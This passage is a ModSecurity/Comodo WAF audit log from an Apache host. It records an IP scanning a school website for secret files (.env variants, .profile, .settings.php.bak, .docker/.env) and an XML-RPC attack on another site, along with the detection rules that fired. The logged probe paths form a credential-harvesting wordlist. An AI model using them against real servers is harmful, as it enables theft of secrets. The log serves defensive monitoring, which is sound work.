userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".settings.php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/bitrix/.settings.php.bak"] [unique_id "aE8p8HsalJN_0-_70dL1ggAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018544643367 664439 (- - -) Stopwatch2: 1750018544643367 664439; combined=1722, p1=327, p2=1289, p3=0, p4=0, p5=106, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c13d3e21-Z-- --00b44c22-A-- [16/Jun/2025:01:45:52.243471 +0530] aE8p93salJN_0-_70dL1hgAAAAU 185.177.72.210 50162 127.0.0.1 7081 --00b44c22-B-- GET /:5601/library/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --00b44c22-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8e69e564341e795a89db91f68a8c40871750018552; expires=Sun, 15 Jun 2025 21:15:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --00b44c22-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/library/.env"] [unique_id "aE8p93salJN_0-_70dL1hgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018551559260 684292 (- - -) Stopwatch2: 1750018551559260 684292; combined=2363, p1=521, p2=1706, p3=0, p4=0, p5=136, sr=129, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --00b44c22-Z-- --97667f4f-A-- [16/Jun/2025:01:46:02.070104 +0530] aE8qAQmPiipnjM18nBTziQAAAAs 185.177.72.210 38542 127.0.0.1 7081 --97667f4f-B-- GET /.env.php HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --97667f4f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a2bd21522e2b554b72005657802ec0661750018561; expires=Sun, 15 Jun 2025 21:16:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --97667f4f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.php"] [unique_id "aE8qAQmPiipnjM18nBTziQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018561366849 703323 (- - -) Stopwatch2: 1750018561366849 703323; combined=1928, p1=398, p2=1461, p3=0, p4=0, p5=69, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97667f4f-Z-- --64773115-A-- [16/Jun/2025:01:46:05.310164 +0530] aE8qBD3D4g1mGjVnV5KMQQAAAAY 185.177.72.210 38708 127.0.0.1 7081 --64773115-B-- GET /.profile HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --64773115-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d51e18c011b67598a03591980ab2ecf91750018565; expires=Sun, 15 Jun 2025 21:16:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --64773115-H-- Message: Warning. String match "/.profile" at REQUEST_FILENAME. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "6621"] [id "243320"] [rev "1"] [msg "COMODO WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242, as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)||www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. String match "/.profile" at REQUEST_FILENAME. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "6621"] [id "243320"] [rev "1"] [msg "COMODO WAF: Information disclosure vulnerability in Cloud Foundry PHP Buildpack (aka php-buildpack) before 4.3.18 and PHP Buildpack Cf-release before 242, as used in Pivotal Cloud Foundry (PCF) Elastic Runtime before 1.6.38 and 1.7.x before 1.7.19 and other products (CVE-2016-6639)||www.mindscan.edu.in|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.mindscan.edu.in"] [uri "/.profile"] [unique_id "aE8qBD3D4g1mGjVnV5KMQQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018564532953 777304 (- - -) Stopwatch2: 1750018564532953 777304; combined=2008, p1=364, p2=1494, p3=0, p4=0, p5=149, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --64773115-Z-- --0f5ece0e-A-- [16/Jun/2025:01:46:15.945175 +0530] aE8qD0aRoH9PZO5fwRnfIQAAAAw 185.177.72.210 55722 127.0.0.1 7081 --0f5ece0e-B-- GET /:8443/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0f5ece0e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9cdb09026f749f276a6e3ceb6d555e041750018575; expires=Sun, 15 Jun 2025 21:16:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0f5ece0e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.prod"] [unique_id "aE8qD0aRoH9PZO5fwRnfIQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018575285008 660235 (- - -) Stopwatch2: 1750018575285008 660235; combined=2300, p1=505, p2=1675, p3=0, p4=0, p5=119, sr=148, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0f5ece0e-Z-- --a02caf18-A-- [16/Jun/2025:01:46:22.355537 +0530] aE8qFY4fGN8g7lyBTW_0jAAAAAM 185.177.72.210 49840 127.0.0.1 7081 --a02caf18-B-- GET /backup/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a02caf18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b0da436a10dda5be8ed6f25d68aa10f41750018582; expires=Sun, 15 Jun 2025 21:16:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a02caf18-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/backup/.env.production"] [unique_id "aE8qFY4fGN8g7lyBTW_0jAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018581667493 688105 (- - -) Stopwatch2: 1750018581667493 688105; combined=1913, p1=409, p2=1417, p3=0, p4=0, p5=86, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a02caf18-Z-- --75011777-A-- [16/Jun/2025:01:46:23.353712 +0530] aE8qFhQKR3lSdoPAzimAYQAAAAk 185.177.72.210 49890 127.0.0.1 7081 --75011777-B-- GET /:9000/awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --75011777-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bb68f222156e2a9729c09a32d80ee6721750018583; expires=Sun, 15 Jun 2025 21:16:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --75011777-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/awstats/.env"] [unique_id "aE8qFhQKR3lSdoPAzimAYQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018582704457 649328 (- - -) Stopwatch2: 1750018582704457 649328; combined=1862, p1=349, p2=1420, p3=0, p4=0, p5=92, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --75011777-Z-- --bdab805b-A-- [16/Jun/2025:01:46:28.623474 +0530] aE8qG4fvqn7_SDWw_wX7rQAAAAc 185.177.72.210 50088 127.0.0.1 7081 --bdab805b-B-- GET /admin/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdab805b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=94ef8e0bae4976d9033a1924d206dd951750018588; expires=Sun, 15 Jun 2025 21:16:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdab805b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env.bak"] [unique_id "aE8qG4fvqn7_SDWw_wX7rQAAAAc"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/admin/.env.bak"] [unique_id "aE8qG4fvqn7_SDWw_wX7rQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018587827055 796482 (- - -) Stopwatch2: 1750018587827055 796482; combined=1818, p1=502, p2=1177, p3=0, p4=0, p5=139, sr=218, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdab805b-Z-- --76442746-A-- [16/Jun/2025:01:46:39.567875 +0530] aE8qJkaRoH9PZO5fwRnfKwAAAAw 128.199.112.101 42224 127.0.0.1 7081 --76442746-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --76442746-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --76442746-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8qJkaRoH9PZO5fwRnfKwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018598629111 938820 (- - -) Stopwatch2: 1750018598629111 938820; combined=2860, p1=490, p2=1948, p3=48, p4=67, p5=188, sr=141, sw=119, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --76442746-Z-- --b0dec168-A-- [16/Jun/2025:01:46:46.359754 +0530] aE8qLbSOi14Mt1Fv4_TB1gAAAAo 185.177.72.210 50046 127.0.0.1 7081 --b0dec168-B-- GET /:8888/.env.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b0dec168-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=385db9ee6158bb32f05c7375f8df4e451750018606; expires=Sun, 15 Jun 2025 21:16:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b0dec168-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.bak"] [unique_id "aE8qLbSOi14Mt1Fv4_TB1gAAAAo"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.bak"] [unique_id "aE8qLbSOi14Mt1Fv4_TB1gAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018605695232 664614 (- - -) Stopwatch2: 1750018605695232 664614; combined=1766, p1=356, p2=1243, p3=0, p4=0, p5=167, sr=82, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0dec168-Z-- --d760df79-A-- [16/Jun/2025:01:46:47.344982 +0530] aE8qLj3D4g1mGjVnV5KMVgAAAAY 185.177.72.210 50080 127.0.0.1 7081 --d760df79-B-- GET /:8008/docs/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d760df79-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c6e7e0df13997ee4764ac9904a00f77e1750018607; expires=Sun, 15 Jun 2025 21:16:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d760df79-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/docs/.env"] [unique_id "aE8qLj3D4g1mGjVnV5KMVgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018606687125 657928 (- - -) Stopwatch2: 1750018606687125 657928; combined=1934, p1=417, p2=1405, p3=0, p4=0, p5=112, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d760df79-Z-- --7bc17a24-A-- [16/Jun/2025:01:46:50.344944 +0530] aE8qMY4fGN8g7lyBTW_0mAAAAAM 185.177.72.210 57944 127.0.0.1 7081 --7bc17a24-B-- GET /:8000/.c9/metadata/ambienzinhoironment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7bc17a24-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4fbeb8dac2890b7ef6638c7edde0e1171750018610; expires=Sun, 15 Jun 2025 21:16:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7bc17a24-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.c9/metadata/ambienzinhoironment/.env"] [unique_id "aE8qMY4fGN8g7lyBTW_0mAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018609665391 679615 (- - -) Stopwatch2: 1750018609665391 679615; combined=1950, p1=390, p2=1473, p3=0, p4=0, p5=87, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7bc17a24-Z-- --17da503d-A-- [16/Jun/2025:01:46:55.678831 +0530] aE8qNj3D4g1mGjVnV5KMWgAAAAY 185.177.72.210 58198 127.0.0.1 7081 --17da503d-B-- GET /:10000/staging/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --17da503d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e90f1168caa3e9a3fb4ff17b8f19f2cc1750018615; expires=Sun, 15 Jun 2025 21:16:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --17da503d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/staging/.env"] [unique_id "aE8qNj3D4g1mGjVnV5KMWgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750018614970432 708485 (- - -) Stopwatch2: 1750018614970432 708485; combined=1905, p1=390, p2=1441, p3=0, p4=0, p5=73, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --17da503d-Z-- --932dfb00-A-- [16/Jun/2025:01:47:06.793503 +0530] aE8qQhQKR3lSdoPAzimAcwAAAAk 185.177.72.210 35388 127.0.0.1 7081 --932dfb00-B-- GET /.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 